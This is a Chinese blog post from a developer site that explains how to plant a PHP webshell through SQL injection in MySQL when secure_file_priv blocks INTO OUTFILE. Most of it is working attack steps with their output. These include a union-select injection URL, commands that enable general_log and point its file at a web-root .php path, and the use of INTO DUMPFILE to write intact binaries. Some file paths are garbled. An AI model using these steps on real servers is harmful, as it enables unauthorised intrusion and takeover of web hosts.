热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

sql注入怎么使用linux命令,SQL注入写shell不成功后

8种机械键盘轴体对比本人程序员,要买一个写代码的键盘,请问红轴和茶轴怎么选?之前遇到sql注入,且是root权限后ÿ

66b52468c121889b900d4956032f1009.png

8种机械键盘轴体对比

本人程序员,要买一个写代码的键盘,请问红轴和茶轴怎么选?

之前遇到sql注入,且是root权限后,很容易直接写进去shell。现在的Mysql数据库的安全性也高了,即使注入得到mysql的root权限,有时候还是写不进去shell。

SQL 注入写 shellhttp://127.0.0.1:8000/waf/test.php?id=-1' union select 1,2,3 --+

c879255ba5530cb9a783ad2f13b957bd.png

root权限

78f63c21594dcd818301511e7d1a0982.png

写一句话的时候,报错。如果能进入phpmyadmin后台,可以试试一个方法。

1145f1f8fe8a432914058f2e6c0dc148.png

就是--secure-file-priv的问题。

本地测试。

Mysql导出文件时报错mysql> select host from mysql.user into outfile 'E:\test\1.txt';

ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv opti

on so it cannot execute this statement

报错原因:secure_file_priv设置了指定目录,需要在指定目录下进行数据导出。mysql> show variables like '%secure%';

+------------------+-------+

| Variable_name | Value |

+------------------+-------+

| secure_auth | OFF |

| secure_file_priv | NULL |

+------------------+-------+

2 rows in set (0.00 sec)

secure_file_priv 参数为空,表示没有可以导出的目录。这个参数用来限制数据导入和导出操作的效果,例如执行LOAD DATA、SELECT … INTO OUTFILE语句和LOAD_FILE()函数。这些操作需要用户具有FILE权限。

如果这个参数为空,这个变量没有效果;

如果这个参数设为一个目录名,MySQL服务只允许在这个目录中执行文件的导入和导出操作。这个目录必须存在,MySQL服务不会创建它;

如果这个参数为NULL,MySQL服务会禁止导入和导出操作。这个参数在MySQL 5.7.6版本引入

执行一下命令,在终端是修改不了secure_file_priv的值的。mysql> show variables like '%secure%';

+------------------+-------+

| Variable_name | Value |

+------------------+-------+

| secure_auth | OFF |

| secure_file_priv | NULL |

+------------------+-------+

2 rows in set (0.20 sec)

mysql> set global secure_file_priv = 'D:\phpStudy\www\waf\shell\1.txt';

ERROR 1238 (HY000): Variable 'secure_file_priv' is a read only variable

此时是root权限,into outfile写不了文件。这个时候,如果能登录到phpmyadmin,可以尝试一个方法。

在phpmyadmin后台中,查看全局变量:找到general log file和general log

将general log设置为ON

general log file 设置为shell的物理地址。

930fa3b0aef01a84894e0c2cb170a5cc.png

再执行一个写一句话的SQL语句。虽然还有报错,但是已经写入进去了。

1145f1f8fe8a432914058f2e6c0dc148.png

在D:phpStudywwwwafphpinfo.php中可以看到写入的php代码。

5b14c06624879f087ebd82ce74539c38.png

访问。

dea26703c530ae8e9605852177252ee2.pnggeneral_log

Command-Line Format --general-log

System Variable Name general_log

Scope Global

Dynamic Yes

Permitted Values Type boolean

Default OFF

Whether the general query log is enabled. The value can be 0 (or OFF) to disable the log or 1 (or ON) to enable the log. The default value depends on whether the --general_log option is given. The destination for log output is controlled by the log_output system variable; if that value is NONE, no log entries are written even if the log is enabled.

general_log_file

Command-Line Format --general-log-file=file_name

System Variable Name general_log_file

Scope Global

Dynamic Yes

Permitted Values Type file name

Default host_name.log

The name of the general query log file. The default value is host_name.log, but the initial value can be changed with the --general_log_file option.

如果登录不了phpmyadmin后台,试试能登录mysql终端吗?可以试着来执行以下命令。show variables like '%general%'; #查看配置

set global general_log = on; #开启general log模式

set global general_log_file = 'D:\phpStudywww\waf\shell.php'; #设置写入shell路径

select '' #写入shell

window环境下在my.ini中设置 secure-file-priv="D:/phpStudy/www/waf" 为数据库的导入和导出路径。

Ubuntu环境下

SELECT的SELECT … INTO形式可以使查询结果存储在变量中或写入文件中。导出数据到文本文件中。SELECT … INTO OUTFILE将选定的行写入文件。可以指定列和行结束符以产生特定的输出格式。

SELECT … INTO DUMPFILE将单行写入文件而不使用任何格式。outfile

区别:mysql> select host from mysql.user into outfile 'D:/phpStudy/www/waf/test.txt';

Query OK, 3 rows affected (0.00 sec)

内容:127.0.0.1

::1

localhostdumpfile

mysql> select host from mysql.user into dumpfile ‘D:/phpStudy/www/waf/test1.txt’

;

ERROR 1172 (42000): Result consisted of more than one row

只能导出一行内容。

若把一个可执行2进制文件用into outfile函数导出,导出后可能会被破坏,因为into outfile函数会在行末写入新行,并且会转义换行符。这样2进制可执行文件会被破坏。这个时候用into dumpfile就能导出一个完整的可执行的2进制文件。

参考



推荐阅读
  • 本文介绍了在Mac上搭建php环境后无法使用localhost连接mysql的问题,并通过将localhost替换为127.0.0.1或本机IP解决了该问题。文章解释了localhost和127.0.0.1的区别,指出了使用socket方式连接导致连接失败的原因。此外,还提供了相关链接供读者深入了解。 ... [详细]
  • 本文介绍了数据库的存储结构及其重要性,强调了关系数据库范例中将逻辑存储与物理存储分开的必要性。通过逻辑结构和物理结构的分离,可以实现对物理存储的重新组织和数据库的迁移,而应用程序不会察觉到任何更改。文章还展示了Oracle数据库的逻辑结构和物理结构,并介绍了表空间的概念和作用。 ... [详细]
  • 如何实现织梦DedeCms全站伪静态
    本文介绍了如何通过修改织梦DedeCms源代码来实现全站伪静态,以提高管理和SEO效果。全站伪静态可以避免重复URL的问题,同时通过使用mod_rewrite伪静态模块和.htaccess正则表达式,可以更好地适应搜索引擎的需求。文章还提到了一些相关的技术和工具,如Ubuntu、qt编程、tomcat端口、爬虫、php request根目录等。 ... [详细]
  • Spring源码解密之默认标签的解析方式分析
    本文分析了Spring源码解密中默认标签的解析方式。通过对命名空间的判断,区分默认命名空间和自定义命名空间,并采用不同的解析方式。其中,bean标签的解析最为复杂和重要。 ... [详细]
  • 搭建Windows Server 2012 R2 IIS8.5+PHP(FastCGI)+MySQL环境的详细步骤
    本文详细介绍了搭建Windows Server 2012 R2 IIS8.5+PHP(FastCGI)+MySQL环境的步骤,包括环境说明、相关软件下载的地址以及所需的插件下载地址。 ... [详细]
  • 本文介绍了如何使用php限制数据库插入的条数并显示每次插入数据库之间的数据数目,以及避免重复提交的方法。同时还介绍了如何限制某一个数据库用户的并发连接数,以及设置数据库的连接数和连接超时时间的方法。最后提供了一些关于浏览器在线用户数和数据库连接数量比例的参考值。 ... [详细]
  • 如何使用Java获取服务器硬件信息和磁盘负载率
    本文介绍了使用Java编程语言获取服务器硬件信息和磁盘负载率的方法。首先在远程服务器上搭建一个支持服务端语言的HTTP服务,并获取服务器的磁盘信息,并将结果输出。然后在本地使用JS编写一个AJAX脚本,远程请求服务端的程序,得到结果并展示给用户。其中还介绍了如何提取硬盘序列号的方法。 ... [详细]
  • Windows下配置PHP5.6的方法及注意事项
    本文介绍了在Windows系统下配置PHP5.6的步骤及注意事项,包括下载PHP5.6、解压并配置IIS、添加模块映射、测试等。同时提供了一些常见问题的解决方法,如下载缺失的msvcr110.dll文件等。通过本文的指导,读者可以轻松地在Windows系统下配置PHP5.6,并解决一些常见的配置问题。 ... [详细]
  • 本文讨论了一个关于cuowu类的问题,作者在使用cuowu类时遇到了错误提示和使用AdjustmentListener的问题。文章提供了16个解决方案,并给出了两个可能导致错误的原因。 ... [详细]
  • 本文介绍了作者在开发过程中遇到的问题,即播放框架内容安全策略设置不起作用的错误。作者通过使用编译时依赖注入的方式解决了这个问题,并分享了解决方案。文章详细描述了问题的出现情况、错误输出内容以及解决方案的具体步骤。如果你也遇到了类似的问题,本文可能对你有一定的参考价值。 ... [详细]
  • HDFS2.x新特性
    一、集群间数据拷贝scp实现两个远程主机之间的文件复制scp-rhello.txtroothadoop103:useratguiguhello.txt推pushscp-rr ... [详细]
  • 高质量SQL书写的30条建议
    本文提供了30条关于优化SQL的建议,包括避免使用select *,使用具体字段,以及使用limit 1等。这些建议是基于实际开发经验总结出来的,旨在帮助读者优化SQL查询。 ... [详细]
  • Go Cobra命令行工具入门教程
    本文介绍了Go语言实现的命令行工具Cobra的基本概念、安装方法和入门实践。Cobra被广泛应用于各种项目中,如Kubernetes、Hugo和Github CLI等。通过使用Cobra,我们可以快速创建命令行工具,适用于写测试脚本和各种服务的Admin CLI。文章还通过一个简单的demo演示了Cobra的使用方法。 ... [详细]
  • 本文讨论了在openwrt-17.01版本中,mt7628设备上初始化启动时eth0的mac地址总是随机生成的问题。每次随机生成的eth0的mac地址都会写到/sys/class/net/eth0/address目录下,而openwrt-17.01原版的SDK会根据随机生成的eth0的mac地址再生成eth0.1、eth0.2等,生成后的mac地址会保存在/etc/config/network下。 ... [详细]
  • MyBatis多表查询与动态SQL使用
    本文介绍了MyBatis多表查询与动态SQL的使用方法,包括一对一查询和一对多查询。同时还介绍了动态SQL的使用,包括if标签、trim标签、where标签、set标签和foreach标签的用法。文章还提供了相关的配置信息和示例代码。 ... [详细]
author-avatar
cheer57_275
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有